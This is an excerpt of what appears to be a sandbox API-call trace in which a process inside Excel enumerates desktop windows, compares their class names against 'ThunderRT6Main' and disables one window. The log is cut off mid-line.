0x5009a [0083.618] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0083.618] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0083.618] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0083.618] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0083.618] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0083.618] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0083.618] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0083.618] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x200e6 [0083.618] GetClassNameA (in: hWnd=0x200e6, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0083.618] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0083.618] GetWindowThreadProcessId (in: hWnd=0x200e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0083.618] GetWindow (hWnd=0x200e6, uCmd=0x2) returned 0x10226 [0083.618] GetClassNameA (in: hWnd=0x10226, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0083.619] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0083.619] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0083.619] GetWindowLongA (hWnd=0x10226, nIndex=-16) returned -1946157056 [0083.619] GetWindowLongPtrA (hWnd=0x10226, nIndex=-6) returned 0x0 [0083.619] GetWindowLongPtrA (hWnd=0x10226, nIndex=-6) returned 0x0 [0083.619] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x201a6 [0083.619] GetClassNameA (in: hWnd=0x201a6, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0083.619] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0083.619] GetWindowThreadProcessId (in: hWnd=0x201a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0083.619] GetWindowLongA (hWnd=0x201a6, nIndex=-16) returned -1946157056 [0083.619] GetWindowLongPtrA (hWnd=0x201a6, nIndex=-6) returned 0x13f4a0000 [0083.619] GetWindowLongPtrA (hWnd=0x201a6, nIndex=-6) returned 0x13f4a0000 [0083.619] GetWindow (hWnd=0x201a6, uCmd=0x2) returned 0x202d2 [0083.619] GetClassNameA (in: hWnd=0x202d2, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0083.619] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0083.619] GetWindowThreadProcessId (in: hWnd=0x202d2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0083.619] GetWindowLongA (hWnd=0x202d2, nIndex=-16) returned 382664704 [0083.619] GetWindowLongPtrA (hWnd=0x202d2, nIndex=-6) returned 0x13f4a0000 [0083.619] GetWindowLongPtrA (hWnd=0x202d2, nIndex=-6) returned 0x13f4a0000 [0083.619] GetWindow (hWnd=0x202d2, uCmd=0x2) returned 0x30232 [0083.619] GetClassNameA (in: hWnd=0x30232, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0083.619] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0083.619] GetWindowThreadProcessId (in: hWnd=0x30232, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0083.619] GetWindowLongA (hWnd=0x30232, nIndex=-16) returned -2046820352 [0083.619] GetWindowLongPtrA (hWnd=0x30232, nIndex=-6) returned 0x0 [0083.619] GetWindowLongPtrA (hWnd=0x30232, nIndex=-6) returned 0x0 [0083.619] GetWindow (hWnd=0x30232, uCmd=0x2) returned 0x40234 [0083.619] GetClassNameA (in: hWnd=0x40234, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0083.619] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0083.619] GetWindowThreadProcessId (in: hWnd=0x40234, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0083.619] GetWindowLongA (hWnd=0x40234, nIndex=-16) returned -2046820352 [0083.619] GetWindowLongPtrA (hWnd=0x40234, nIndex=-6) returned 0x0 [0083.619] GetWindowLongPtrA (hWnd=0x40234, nIndex=-6) returned 0x0 [0083.619] GetWindow (hWnd=0x40234, uCmd=0x2) returned 0x2027a [0083.619] GetClassNameA (in: hWnd=0x2027a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0083.619] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0083.619] GetWindowThreadProcessId (in: hWnd=0x2027a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0083.619] GetWindowLongA (hWnd=0x2027a, nIndex=-16) returned -2046820352 [0083.620] GetWindowLongPtrA (hWnd=0x2027a, nIndex=-6) returned 0x0 [0083.620] GetWindowLongPtrA (hWnd=0x2027a, nIndex=-6) returned 0x0 [0083.620] GetWindow (hWnd=0x2027a, uCmd=0x2) returned 0x20278 [0083.620] GetClassNameA (in: hWnd=0x20278, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0083.620] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0083.620] GetWindowThreadProcessId (in: hWnd=0x20278, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0083.620] GetWindowLongA (hWnd=0x20278, nIndex=-16) returned -2046820352 [0083.620] GetWindowLongPtrA (hWnd=0x20278, nIndex=-6) returned 0x0 [0083.620] GetWindowLongPtrA (hWnd=0x20278, nIndex=-6) returned 0x0 [0083.620] GetWindow (hWnd=0x20278, uCmd=0x2) returned 0x202cc [0083.620] GetClassNameA (in: hWnd=0x202cc, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0083.620] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0083.620] GetWindowThreadProcessId (in: hWnd=0x202cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0083.620] GetWindowLongA (hWnd=0x202cc, nIndex=-16) returned -2080374784 [0083.620] GetWindowLongPtrA (hWnd=0x202cc, nIndex=-6) returned 0x7fee5a60000 [0083.620] IsWindowEnabled (hWnd=0x202cc) returned 1 [0083.620] GetPropA (hWnd=0x202cc, lpString=0xc113) returned 0x0 [0083.620] SetPropA (hWnd=0x202cc, lpString=0xc113, hData=0x1) returned 1 [0083.621] EnableWindow (hWnd=0x202cc, bEnable=0) returned 0 [0083.621] GetWindow (hWnd=0x202cc, uCmd=0x2) returned 0x2025c [0083.621] GetClassNameA (in: hWnd=0x2025c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0083.621] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0083.621] GetWindowThreadProcessId (in: hWnd=0x2025c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0083.621] GetWindowLongA (hWnd=0x2025c, nIndex=-16) returned 1149272145 [0083.621] GetWindow (hWnd=0x2025c, uCmd=0x2) returned 0x101e0 [0083.621] GetClassNameA (in: hWnd=0x101e0, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0083.621] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0083.621] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0083.621] GetWindowLongA (hWnd=0x101e0, nIndex=-16) returned 382664704 [0083.621] GetWindowLongPtrA (hWnd=0x101e0, nIndex=-6) returned 0x13f4a0000 [0083.621] GetWindowLongPtrA (hWnd=0x101e0, nIndex=-6) returned 0x13f4a0000 [0083.621] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x1020a [0083.621] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0083.621] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0083.622] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0083.622] GetWindowLongA (hWnd=0x1020a, nIndex=-16) returned -1778384896 [0083.622] GetWindowLongPtrA (hWnd=0x1020a, nIndex=-6) returned 0x0 [0083.622] GetWindowLongPtrA (hWnd=0x1020a, nIndex=-6) returned 0x0 [0083.622] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x1020c [0083.622] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0083.622] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0083.622] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0083.622] GetWindowLongA (hWnd=0x1020c, nIndex=-16) returned -1778384896 [0083.622] GetWindowLongPtrA (hWnd=0x1020c, nIndex=-6) returned 0x0 [0083.622] GetWindowLongPtrA (hWnd=0x1020c, nIndex=-6) returned 0x0 [0083.622] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e [0083.622] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0083.622] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0083.622] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0083.622] GetWindowLongA (hWnd=0x1020e, nIndex=-16) returned -1778384896 [0083.622] GetWindowLongPtrA (hWnd=0x1020e, nIndex=-6) returned 0x0 [0083.622] GetWindowLongPtrA (hWnd=0x1020e, nIndex=-6) returned 0x0 [0083.622] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10210 [0083.622] GetClassNameA (in: hWnd=0x10210, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0083.622] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0083.622] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0083.622] GetWindowLongA (hWnd=0x10210, nIndex=-16) returned -1778384896 [0083.622] GetWindowLongPtrA (hWnd=0x10210, nIndex=-6) returned 0x0 [0083.622] GetWindowLongPtrA (hWnd=0x10210, nIndex=-6) returned 0x0 [0083.622] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x102a2 [0083.622] GetClassNameA (in: hWnd=0x102a2, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0083.622] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0083.622] GetWindowThreadProcessId (in: hWnd=0x102a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa74 [0083.622] GetWindow (hWnd=0x102a2, uCmd=0x2) returned 0x2023e [0083.622] GetClassNameA (in: hWnd=0x2023e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0083.622] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0083.622] GetWindowThreadProcessId (in: hWnd=0x2023e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0083.622] GetWindowLongA (hWnd=0x2023e, nIndex=-16) returned 213909504 [0083.622] GetWindowLongPtrA (hWnd=0x2023e, nIndex=-6) returned 0x7feef760000 [0083.622] GetWindowLongPtrA (hWnd=0x2023e, nIndex=-6) returned 0x7feef760000 [0083.622] GetWindow (hWnd=0x2023e, uCmd=0x2) returned 0x20214 [0083.623] GetClassNameA (in: hWnd=0x20214, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0083.623] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0083.623] GetWindowThreadProcessId (in: hWnd=0x20214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0083.623] GetWindowLongA (hWnd=0x20214, nIndex=-16) returned -2080374784 [0083.623] GetWindowLongPtrA (hWnd=0x20214, nIndex=-6) returned 0x7fef2910000 [0083.623] GetWindowLongPtrA (hWnd=0x20214, nIndex=-6) returned 0x7fef2910000 [0083.623] GetWindow (hWnd=0x20214, uCmd=0x2) returned 0x101de [0083.623] GetClassNameA (in: hWnd=0x101de, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0083.623] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0083.623] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0083.624] GetWindowLongA (hWnd=0x101de, nIndex=-16) returned -2046820352 [0083.625] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0 [0083.625] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0 [0083.625] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101dc [0083.625] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0083.625] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0083.625] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0083.625] GetWindowLongA (hWnd=0x101dc, nIndex=-16) returned -2046820352 [0083.625] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0 [0083.625] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0 [0083.625] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101da [0083.625] GetClassNameA (in: hWnd=0x101da, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0083.625] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0083.625] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0083.625] GetWindowLongA (hWnd=0x101da, nIndex=-16) returned -2046820352 [0083.625] GetWindowLongPtrA (hWnd=0x101da, nIndex=-6) returned 0x0 [0083.625] GetWindowLongPtrA (hWnd=0x101da, nIndex=-6) returned 0x0 [0083.625] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d8 [0083.625] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0083.625] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0083.625] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0083.625] GetWindowLongA (hWnd=0x101d8, nIndex=-16) returned -2046820352 [0083.625] GetWindowLongPtrA (hWnd=0x101d8, nIndex=-6) returned 0x0 [0083.625] GetWindowLongPtrA (hWnd=0x101d8, nIndex=-6) returned 0x0 [0083.625] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x201b2 [0083.625] GetClassNameA (in: hWnd=0x201b2, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0083.625] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0083.625] GetWindowThreadProcessId (in: hWnd=0x201b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0083.625] GetWindowLongA (hWnd=0x201b2, nIndex=-16) returned 114229248 [0083.625] GetWindowLongPtrA (hWnd=0x201b2, nIndex=-6) returned 0x13f4a0000 [0083.625] GetWindowLongPtrA (hWnd=0x201b2, nIndex=-6) returned 0x13f4a0000 [0083.625] GetWindow (hWnd=0x201b2, uCmd=0x2) returned 0x4010e [0083.625] GetClassNameA (in: hWnd=0x4010e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0083.625] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0083.625] GetWindowThreadProcessId (in: hWnd=0x4010e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x944 [0083.625] GetWindow (hWnd=0x4010e, uCmd=0x2) returned 0x201ac [0083.626] GetClassNameA (in: hWnd=0x201ac, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0083.626] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0083.626] GetWindowThreadProcessId (in: hWnd=0x201ac, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0083.626] GetWindowLongA (hWnd=0x201ac, nIndex=-16) returned -2080374784 [0083.626] GetWindowLongPtrA (hWnd=0x201ac, nIndex=-6) returned 0x13f4a0000 [0083.626] GetWindowLongPtrA (hWnd=0x201ac, nIndex=-6) returned 0x13f4a0000 [0083.626] GetWindow (hWnd=0x201ac, uCmd=0x2) returned 0x1019c [0083.626] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0083.626] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0083.626] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7b8 [0083.626] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019a [0083.626] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Stomach_harassment_") returned 19 [0083.626] lstrcmpA (lpString1="Stomach_harassment_", lpString2="ThunderRT6Main") returned -1 [0083.626] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7b8 [0083.626] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x20216 [0083.626] GetClassNameA (in: hWnd=0x20216, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0083.626] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0083.626] GetWindowThreadProcessId (in: hWnd=0x20216, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0083.626] GetWindowLongA (hWnd=0x20216, nIndex=-16) returned -2080374784 [0083.626] GetWindowLongPtrA (hWnd=0x20216, nIndex=-6) returned 0x7feffa40000 [0083.626] GetWindowLongPtrA (hWnd=0x20216, nIndex=-6) returned 0x7feffa40000 [0083.626] GetWindow (hWnd=0x20216, uCmd=0x2) returned 0x20206 [0083.626] GetClassNameA (in: hWnd=0x20206, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0083.626] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0083.626] GetWindowThreadProcessId (in: hWnd=0x20206, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0083.626] GetWindowLongA (hWnd=0x20206, nIndex=-16) returned 1149272145 [0083.626] GetWindow (hWnd=0x20206, uCmd=0x2) returned 0x101d4 [0083.626] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0083.626] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0083.626] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0083.626] GetWindowLongA (hWnd=0x101d4, nIndex=-16) returned 1149272145 [0083.627] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x10196 [0083.627] GetClassNameA (in: hWnd=0x10196, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Litwindow") returned 9 [0083.627] lstrcmpA (lpString1="Litwindow", lpString2="ThunderRT6Main") returned -1 [0083.627] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x250 [0083.627] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10198 [0083.627] GetClassNameA (in: hWnd=0x10198, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0083.627] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0083.627] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x250 [0083.627] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x10192 [0083.627] GetClassNameA (in: hWnd=0x10192, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Fed_bodies_wnd") returned 14 [0083.627] lstrcmpA (lpString1="Fed_bodies_wnd", lpString2="ThunderRT6Main") returned -1 [0083.627] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b4 [0083.627] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x10194 [0083.627] GetClassNameA (in: hWnd=0x10194, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0083.627] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0083.627] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b4 [0083.627] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x1018e [0083.627] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="mauitellingWeightapp") returned 20 [0083.627] lstrcmpA (lpString1="mauitellingWeightapp", lpString2="ThunderRT6Main") returned -1 [0083.627] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x704 [0083.627] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0083.627] GetClassNameA (in: hWnd=0x10190, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0083.627] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0083.627] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x704 [0083.627] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0083.627] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Buriedpositioncls") returned 17 [0083.627] lstrcmpA (lpString1="Buriedpositioncls", lpString2="ThunderRT6Main") returned -1 [0083.627] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0083.627] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0083.627] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0083.627] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0083.628] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0083.628] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0083.628] GetClassNameA (in: hWnd=0x10186, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="translations_Massive_Mp_app") returned 27 [0083.628] lstrcmpA (lpString1="translations_Massive_Mp_app", lpString2="ThunderRT6Main") returned 1 [0083.628] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x460 [0083.628] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0083.628] GetClassNameA (in: hWnd=0x10188, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0083.628] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0083.628] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x460 [0083.628] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0083.628] GetClassNameA (in: hWnd=0x10182, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="vendor_win") returned 10 [0083.628] lstrcmpA (lpString1="vendor_win", lpString2="ThunderRT6Main") returned 1 [0083.628] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x798 [0083.628] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0083.628] GetClassNameA (in: hWnd=0x10184, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0083.628] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0083.628] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x798 [0083.628] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017e [0083.628] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Uniformphotographwin") returned 20 [0083.628] lstrcmpA (lpString1="Uniformphotographwin", lpString2="ThunderRT6Main") returned 1 [0083.628] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xf0 [0083.628] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10180 [0083.628] GetClassNameA (in: hWnd=0x10180, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0083.628] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0083.628] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xf0 [0083.628] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0083.628] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="filingsunriseIdentificationwin") returned 30 [0083.629] lstrcmpA (lpString1="filingsunriseIdentificationwin", lpString2="ThunderRT6Main") returned -1 [0083.629] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x42c [0083.629] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017c [0083.629] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0083.629] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0083.629] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x42c [0083.629] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10176 [0083.629] GetClassNameA (in: hWnd=0x10176, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="Alt_wnd") returned 7 [0083.629] lstrcmpA (lpString1="Alt_wnd", lpString2="ThunderRT6Main") returned -1 [0083.629] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x75c [0083.629] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0083.629] GetClassNameA (in: hWnd=0x10178, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0083.629] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0083.629] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x75c [0083.629] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0083.629] GetClassNameA (in: hWnd=0x10172, lpClassName=0x28e2a0, nMaxCount=64 | out: lpClassName="testVotingdistributedwin") returned 24 [0083.629] lstrcmpA (lpString1="testVotingdistributedwin", lpString2="ThunderRT6Main") returned -1 [0083.629] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: 